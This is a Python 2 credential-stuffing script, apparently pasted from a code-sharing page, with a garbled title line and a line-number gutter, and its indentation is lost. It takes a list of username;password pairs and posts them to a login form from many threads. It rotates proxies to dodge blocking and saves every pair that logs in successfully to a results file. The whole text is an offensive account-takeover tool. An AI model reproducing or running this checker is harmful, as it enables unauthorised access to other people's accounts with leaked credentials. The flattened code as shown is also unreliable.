def get_proxy for proxy in proxies if proxy in bad_proxies continue el

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
def get_proxy():
for proxy in proxies:
if proxy in bad_proxies:
continue
else:
return proxy
print 'Proxy ended...'
sys.exit(0)
def check():
proxy = get_proxy()
if proxy:
pass
else:
return
while True:
try:
line = queue.get(False)
except:
break
username, password = line.split(';', 1)
data = urllib.urlencode({'username': username, 'password': password, 'loginSubmit': 'Submit'})
try:
req = urllib2.Request(url, data)
req.set_proxy(proxy, 'http')
page = urllib2.urlopen(req, timeout = timeout).read()
check = re.findall('Login successfully', page)
if len(check) != 0:
print 'Login successfully: ' + line
results.write(line + '\n')
results.flush()
else:
check = re.findall('incorrect_login', page)
if len(check) != 0:
print 'Incorrect login: ' + line
else:
bad_proxies.append(proxy)
proxy = get_proxy()
break
except:
bad_proxies.append(proxy)
proxy = get_proxy()
continue
for line in uplist:
queue.put(line.strip())
threads = []
for t in xrange(th_count):
th = threading.Thread(target = check)
threads.append(th)
th.start()
for j in threads:
j.join()